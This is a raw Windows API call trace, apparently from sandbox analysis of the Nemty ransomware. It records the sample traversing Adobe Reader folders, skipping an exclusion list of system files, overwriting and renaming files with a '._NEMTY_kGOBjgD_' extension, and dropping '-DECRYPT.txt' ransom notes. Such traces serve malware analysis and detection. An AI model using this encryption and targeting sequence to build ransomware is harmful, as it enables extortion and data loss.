SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.223] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5aa0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5aa0, lpOverlapped=0x0) returned 1 [0172.228] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.229] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5aa0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5aa0, lpOverlapped=0x0) returned 1 [0172.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.229] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=23212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5aac [0172.229] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.229] CloseHandle (hObject=0x3b0) returned 1 [0172.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0172.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0172.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.229] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0172.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0172.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.230] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a3e4870, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a3e4870, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a40a9d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.230] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.231] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a3e4870, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a3e4870, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a40a9d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.231] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.231] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SUO", cAlternateFileName="")) returned 1 [0172.231] lstrcmpiW (lpString1="SUO", lpString2=".") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="..") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="...") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="windows") returned -1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="$RECYCLE.BIN") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="rsa") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="NTDETECT.COM") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="ntldr") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="MSDOS.SYS") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="IO.SYS") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="boot.ini") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="boot.ini") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="AUTOEXEC.BAT") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="ntuser.dat") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="desktop.ini") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="CONFIG.SYS") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="RECYCLER") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="BOOTSECT.BAK") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="bootmgr") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="programdata") returned 1 [0172.232] lstrcmpiW (lpString1="SUO", lpString2="appdata") returned 1 [0172.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUO", lpUsedDefaultChar=0x0) returned 3 [0172.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUO", lpUsedDefaultChar=0x0) returned 3 [0172.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0172.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0172.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0172.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.233] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.233] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.233] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.234] CloseHandle (hObject=0x254) returned 1 [0172.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0172.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.235] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.235] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.235] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.236] CloseHandle (hObject=0x254) returned 1 [0172.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.236] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a4c90b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a4c90b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.236] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.236] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a4c90b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a4c90b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.236] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.237] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.237] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107e2, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0172.237] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0172.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 